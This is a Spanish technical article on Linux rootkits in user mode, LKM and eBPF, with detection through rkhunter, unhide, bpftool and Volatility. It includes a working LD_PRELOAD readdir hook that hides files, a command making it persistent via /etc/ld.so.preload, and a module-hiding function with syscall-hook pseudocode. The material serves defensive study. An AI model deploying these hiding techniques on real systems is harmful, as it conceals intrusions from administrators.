AvanzadoLinuxrootkitsLKMeBPFkerneldetección

Rootkits Linux: LKM, eBPF y Técnicas Modernas de Ocultación

Análisis técnico de rootkits en Linux. Rootkits de kernel module (LKM), rootkits basados en eBPF, técnicas de ocultación de procesos/archivos/conexiones, hooking de syscalls, y detección con herramientas como rkhunter, chkrootkit y Volatility.

MalwareIntel Research··9 min lectura
Serie: Malware en Linux — Parte 3

Rootkits en Linux: donde el malware se vuelve invisible

Un rootkit no es un tipo de malware por su función (como ransomware o infostealer), sino por su método: es malware que se oculta a sí mismo y oculta otros componentes maliciosos del sistema operativo y de las herramientas de seguridad. Un proceso que no aparece en ps, un archivo que no se ve con ls, una conexión de red invisible para netstat: eso es lo que hace un rootkit.

En Linux, los rootkits operan en tres niveles de sofisticación creciente: user-mode (modifican herramientas del espacio de usuario), kernel-mode via LKM (cargan módulos que modifican el kernel), y eBPF (usan el framework de extended BPF para interceptar y manipular datos sin módulos de kernel).

User-mode rootkits

Concepto

Los rootkits de user-mode no modifican el kernel. En vez de eso, reemplazan o modifican las herramientas que los administradores usan para examinar el sistema.

Técnica 1: reemplazo de binarios del sistema

# El rootkit reemplaza /bin/ps con una version modificada
# que filtra el proceso malicioso de la salida

$ ps aux              # La version modificada no muestra el proceso del malware
$ /bin/ps aux         # Mismo resultado (el binario fue reemplazado)

Binarios comúnmente reemplazados: ps, ls, netstat, ss, lsof, top, who, w, find, du, ifconfig.

Detección: verificar hashes de binarios del sistema contra los del paquete original:

# Verificar integridad con rpm (RHEL/CentOS)
rpm -Va | grep -E '^..5'   # Archivos con hash diferente

# Verificar con debsums (Debian/Ubuntu)  
debsums -c               # Archivos modificados

# Comparar hash con binario conocido
sha256sum /bin/ps
# Comparar con hash del paquete oficial

Técnica 2: LD_PRELOAD

La variable de entorno LD_PRELOAD permite cargar una biblioteca compartida antes que cualquier otra. Si una función existe tanto en la biblioteca pre-loaded como en libc, la versión pre-loaded tiene prioridad.

// rootkit_preload.so: intercepta readdir para ocultar archivos
#define _GNU_SOURCE
#include <dirent.h>
#include <dlfcn.h>
#include <string.h>

struct dirent *readdir(DIR *dirp) {
    // Obtener la funcion readdir original
    static struct dirent *(*original_readdir)(DIR *) = NULL;
    if (!original_readdir)
        original_readdir = dlsym(RTLD_NEXT, "readdir");
    
    struct dirent *entry;
    while ((entry = original_readdir(dirp)) != NULL) {
        // Ocultar archivos que empiezan con "malware_"
        if (strncmp(entry->d_name, "malware_", 8) == 0)
            continue;
        return entry;
    }
    return NULL;
}

Activación:

# Temporal (solo para este proceso)
LD_PRELOAD=/path/to/rootkit_preload.so ls

# Persistente (todos los procesos)
echo "/path/to/rootkit_preload.so" >> /etc/ld.so.preload

Detección:

# Verificar /etc/ld.so.preload
cat /etc/ld.so.preload

# Verificar variable LD_PRELOAD
echo $LD_PRELOAD
cat /proc/*/environ | tr '\0' '\n' | grep LD_PRELOAD

# Verificar librerias cargadas por un proceso
cat /proc/[PID]/maps | grep -v 'lib'  # Librerias no estandar

Kernel rootkits via LKM (T1014)

Concepto

Los rootkits LKM se cargan como módulos del kernel (equivalente a drivers en Windows). Una vez en kernel-mode, pueden modificar cualquier estructura del kernel para ocultar su presencia y la de otros componentes maliciosos.

Carga del módulo

# Cargar modulo del kernel
insmod rootkit.ko

# O via modprobe (busca en /lib/modules/)
modprobe rootkit

# El rootkit puede auto-ocultarse de lsmod inmediatamente despues de cargarse

Técnicas de ocultación

Hooking de sys_call_table

La sys_call_table es un array de punteros a funciones de syscalls. El rootkit reemplaza punteros para interceptar syscalls:

// Pseudocodigo: hookear getdents64 para ocultar archivos
static asmlinkage long (*original_getdents64)(unsigned int fd, 
    struct linux_dirent64 *dirp, unsigned int count);

// Funcion hook que filtra resultados
asmlinkage long hooked_getdents64(unsigned int fd,
    struct linux_dirent64 *dirp, unsigned int count) {
    
    long ret = original_getdents64(fd, dirp, count);
    
    // Recorrer las entradas de directorio
    // Eliminar entradas que contienen nombres a ocultar
    // "malware_process", "rootkit.ko", etc.
    
    return ret;  // Devolver resultado filtrado
}

// Instalacion del hook
void install_hook(void) {
    // 1. Encontrar la sys_call_table
    // 2. Desactivar write protection (cr0 register)
    // 3. Reemplazar puntero
    sys_call_table[__NR_getdents64] = hooked_getdents64;
    // 4. Reactivar write protection
}

Syscalls hookeadas por rootkits

SyscallNúmeroQué oculta el hook
getdents64217Archivos y directorios (ls, find)
kill62Señales a procesos (proteger proceso malicioso)
read0Contenido de archivos (ocultar entradas en /proc)
open2Acceso a archivos (redirigir lecturas)
stat / lstat4/6Metadatos de archivos
connect42Conexiones de red (ocultar C2)
recvmsg47Datos recibidos de red

Ocultación del propio módulo

// Eliminar el modulo de la lista de modulos del kernel
static void hide_module(void) {
    list_del(&THIS_MODULE->list);      // Eliminar de la lista de modulos
    kobject_del(&THIS_MODULE->mkobj.kobj);  // Eliminar de sysfs
    THIS_MODULE->sect_attrs = NULL;
    THIS_MODULE->notes_attrs = NULL;
}

Después de esto, lsmod y /proc/modules no muestran el rootkit. Pero el código sigue ejecutándose en el kernel.

Ocultación de procesos

// Hookear la lectura de /proc para ocultar directorios de PID
// Cada proceso tiene un directorio /proc/[PID]/
// El rootkit filtra estos directorios de getdents64 en /proc/

Resultado: ps, top, htop no muestran el proceso malicioso porque leen de /proc.

Ocultación de conexiones de red

// Hookear la lectura de /proc/net/tcp y /proc/net/tcp6
// para filtrar lineas que contienen las conexiones del malware

Resultado: netstat, ss no muestran las conexiones del malware.

Protección del kernel contra LKM rootkits

ProtecciónDescripciónEfectividad
Secure Boot + Module SigningSolo cargar módulos firmados por claves de confianzaAlta (si se implementa correctamente)
KASLRRandomización de direcciones del kernelMedia (dificulta encontrar sys_call_table)
kptr_restrictOcultar punteros del kernel en /procMedia (dificulta encontrar direcciones)
Lockdown modeRestricciones en módulos, /dev/mem, kexecAlta (limita capacidades de LKM)
SELinux/AppArmorMAC que puede restringir insmod/modprobeMedia-Alta

Rootkits basados en eBPF

Concepto

eBPF (extended Berkeley Packet Filter) es un framework del kernel Linux que permite ejecutar código en sandbox dentro del kernel sin cargar un módulo. Originalmente diseñado para networking y observabilidad, eBPF puede ser abusado como rootkit.

Ventajas para el atacante

AspectoLKM RootkiteBPF Rootkit
Requiere módulo del kernelNo
Detectable por lsmodSí (si no se oculta)No (no es un módulo)
Requiere firma de móduloSí (si module signing activo)No
Sobrevive rebootSolo si se carga en bootSolo si se re-inyecta
Detectable por rkhunterParcialmenteNo
Capacidad de hookingCompleta (cualquier función del kernel)Limitada a puntos de attach de eBPF

Cómo funciona un rootkit eBPF

// Programa eBPF que intercepta la syscall getdents64
// y filtra entradas de directorio

SEC("tracepoint/syscalls/sys_exit_getdents64")
int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx) {
    // Leer el buffer de resultados del espacio de usuario
    // Modificar el buffer para eliminar entradas con nombres especificos
    // Escribir el buffer modificado de vuelta
    return 0;
}

Investigación: rootkits eBPF conocidos

ProyectoTipoDescripción
TripleCrossResearch/PoCRootkit eBPF con backdoor, privilege escalation, C2
ebpfkitResearch/PoCFramework de rootkit basado en eBPF
PamspyResearchInterceptor de credenciales PAM via eBPF
BPFDoorMalware realBackdoor pasivo basado en BPF (no eBPF, BPF clásico)
SymbioteMalware realRootkit LD_PRELOAD + BPF filter para ocultar tráfico

BPFDoor: el caso real

BPFDoor es un backdoor real atribuido a grupos APT chinos (Red Menshen). Usa BPF packet filters para:

  1. Escuchar en un puerto sin que netstat/ss lo muestren (el filter intercepta paquetes antes de que el stack TCP los procese)
  2. Responder solo a paquetes con un "magic byte" específico
  3. Proporcionar shell reverso cuando recibe el paquete mágico

No aparece en listados de puertos abiertos porque técnicamente no tiene un socket listening. El BPF filter captura paquetes a nivel de enlace de datos.

Detección de rootkits

Herramientas estándar

HerramientaTipoQué detecta
rkhunterScannerBinarios del sistema modificados, archivos sospechosos, módulos ocultos
chkrootkitScannerRootkits conocidos (firmas), procesos ocultos, interfaces promiscuas
UnhideComparadorProcesos ocultos (compara /proc con syscalls directas)
OSSEC/WazuhHIDSIntegridad de archivos, detección de rootkits, monitorización continua

Detección manual

# Comparar ps con /proc (discrepancias = rootkit)
ls /proc | grep -E '^[0-9]+$' | sort -n > proc_pids.txt
ps -eo pid --no-headers | sort -n > ps_pids.txt
diff proc_pids.txt ps_pids.txt
# Si hay PIDs en proc_pids que no estan en ps_pids: proceso oculto

# Verificar sys_call_table (requiere debug symbols)
cat /proc/kallsyms | grep sys_call_table
# Comparar con tabla esperada

# Buscar modulos del kernel ocultos
# Comparar /proc/modules con /sys/module/
ls /sys/module/ | sort > sysmodule.txt
cat /proc/modules | awk '{print $1}' | sort > procmodule.txt
diff sysmodule.txt procmodule.txt

# Verificar /etc/ld.so.preload
cat /etc/ld.so.preload

# Buscar eBPF programs cargados
bpftool prog list
bpftool map list

# Verificar interfaces en modo promiscuo (sniffing)
ip link | grep PROMISC

Memory forensics con Volatility

# Capturar memoria con LiME
sudo insmod lime.ko "path=/tmp/mem.lime format=lime"

# Analizar con Volatility 3
vol3 -f mem.lime linux.lsmod           # Listar modulos (incluidos ocultos)
vol3 -f mem.lime linux.hidden_modules  # Modulos ocultos especificamente
vol3 -f mem.lime linux.check_syscall   # Verificar sys_call_table
vol3 -f mem.lime linux.check_idt       # Verificar IDT hooks
vol3 -f mem.lime linux.malfind         # Regiones de memoria sospechosas

Volatility opera sobre un dump de memoria, no sobre el sistema en vivo. Esto significa que los hooks del rootkit no pueden interceptar las lecturas de Volatility (el rootkit filtra syscalls, pero Volatility lee la memoria directamente).

Mapeo MITRE ATT&CK

TécnicaIDContexto Linux rootkits
RootkitT1014Técnica principal
Kernel Modules and ExtensionsT1547.006LKM rootkits
Hijack Execution Flow: LD_PRELOADT1574.006LD_PRELOAD rootkits
Hide Artifacts: Hidden Files/DirsT1564.001Ocultar archivos del rootkit
Indicator Removal: TimestompT1070.006Modificar timestamps

Fuentes y referencias

  • Matrosov, A. et al. "Rootkits and Bootkits." No Starch Press, 2019.
  • Love, R. "Linux Kernel Development." Addison-Wesley, 2010.
  • TripleCross. "eBPF rootkit PoC." https://github.com/h3xduck/TripleCross
  • PwC. "BPFDoor: An Active Chinese-Based Threat." PwC Threat Intelligence, 2022.
  • BlackBerry. "Symbiote: A Stealthy Linux Malware." BlackBerry Research, 2022.
  • rkhunter. "Rootkit Hunter." http://rkhunter.sourceforge.net/
  • Unhide. "Unhide: Forensic Tool to Find Hidden Processes." https://github.com/YJesus/Unhide
  • Volatility Foundation. "Linux Rootkit Detection." Volatility 3 Documentation.
  • MITRE ATT&CK. "Rootkit (T1014)." https://attack.mitre.org/techniques/T1014/
  • Kernel.org. "Kernel Module Signing." Linux Kernel Documentation.

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.